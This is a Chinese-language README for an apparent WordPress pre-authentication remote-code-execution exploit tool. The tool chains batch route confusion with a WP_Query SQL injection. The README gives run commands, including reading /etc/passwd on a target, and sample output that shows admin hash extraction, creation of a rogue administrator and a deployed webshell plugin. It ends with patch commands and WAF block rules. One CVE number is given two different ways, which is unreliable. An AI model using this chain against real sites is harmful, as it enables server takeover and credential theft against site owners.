
针对 Wp2Shell 的漏洞利用 POC,CVE-2026-63030 + CVE-2026-63137
WordPress Core 中的预认证远程代码执行。
CVE-2026-60137(WP_Query 中的 SQL 注入)与 CVE-2026-63030(REST API 批量路由混淆)链式利用。
仅供教育和授权的安全研究用途。
WordPress 6.9.0 至 6.9.4 以及 7.0.0 至 7.0.1 版本存在漏洞。已在 6.9.5 和 7.0.2 版本中修复。
该漏洞利用链由两个漏洞组成:
CVE-2026-63030 — 批量路由混淆。 位于 /wp-json/batch/v1(或 /?rest_route=/batch/v1)的 REST API 批量端点在两个阶段处理子请求:先将每个路径匹配到对应的处理器,再通过匹配到的处理器分派每个请求。当将刻意构造的畸形路径(///)作为第一个子请求插入时,WordPress 会在匹配路由数组的索引 0 处存储一个 WP_Error。这会导致后续所有的处理器分配依次向后偏移一个索引。随后,分派循环将每个请求与错误的处理器配对——经过 Schema A 校验的请求由处理器 B 执行,从而绕过了 Schema A 所强制执行的参数净化。
CVE-2026-60137 — WP_Query 中的 SQL 注入。 文章集合端点接受一个 author_exclude 参数,其 schema 强制要求整型数组值,并在其到达 WP_Query 之前使用 absint() 对每个元素进行净化。批量失步导致该参数完全绕过 schema 验证,以原始字符串的形式到达 WP_Query 的 author__not_in 逻辑。由于 absint() 仅在 is_array() 分支内应用,原始字符串被直接插入 SQL WHERE 子句,从而实现 UNION SELECT 注入。
完整的攻击链分四步进行:
UNION SELECT 行提取数据库版本、用户、表前缀和管理员凭据。wp_posts 行来污染 oEmbed 缓存,并触发 WP_Customize_Manager 的变更集发布钩子,该钩子会以 role=administrator 调用 wp_insert_user(),从而创建新的管理员账户。git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
无需 pip install。
运行全部四个步骤:失步确认、SQL 侦察、管理员创建和 webshell 部署。每次运行都会创建新的管理员账户和插件。
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
针对使用自签名证书的 HTTPS 目标:
python3 exploit.py --url https://TARGET --command "id" --insecure
完整攻击链运行完成后,脚本会打印一条开箱即用的复用命令,其中已预填部署的凭据和 shell 路径。在后续运行中传入这三个标志,即可完全跳过 SQL 和管理员创建阶段:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
--admin-* / --prev-webshell-plugin 这三个标志必须全部同时提供,或者全部不提供。
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
立即更新到已修复的版本。
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6如果无法立即打补丁,请在 Web 服务器或 WAF 层阻止批量端点的两种 URL 形式。两条路由都必须被阻止——仅覆盖固定链接形式的规则会留下查询字符串形式的口子:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
或者使用 must-use 插件(mu-plugin)在 WordPress 内部禁用该端点:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
将所有补丁前的防护措施仅视为临时过渡方案。请尽快应用补丁,并在事后验证每个面向互联网的实例上已安装的版本。
本工具仅用于教育目的和经授权的渗透测试。在未事先获得系统所有者明确书面许可的情况下,对任何系统运行本工具均属违法行为。作者对任何滥用行为不承担任何责任。
| Flag | Short | Description |
|---|
--url | -u | 目标 WordPress 基础 URL。默认值:http://localhost:8080 |
--command | -c | 要执行的操作系统命令。默认值:id |
--insecure | -k | 对自签名证书禁用 TLS 证书验证 |
--admin-user | 复用模式:先前创建的管理员用户名 | |
--admin-password | 复用模式:先前创建的管理员密码 | |
--prev-webshell-plugin | 复用模式:已部署 webshell 插件的 Web 路径 |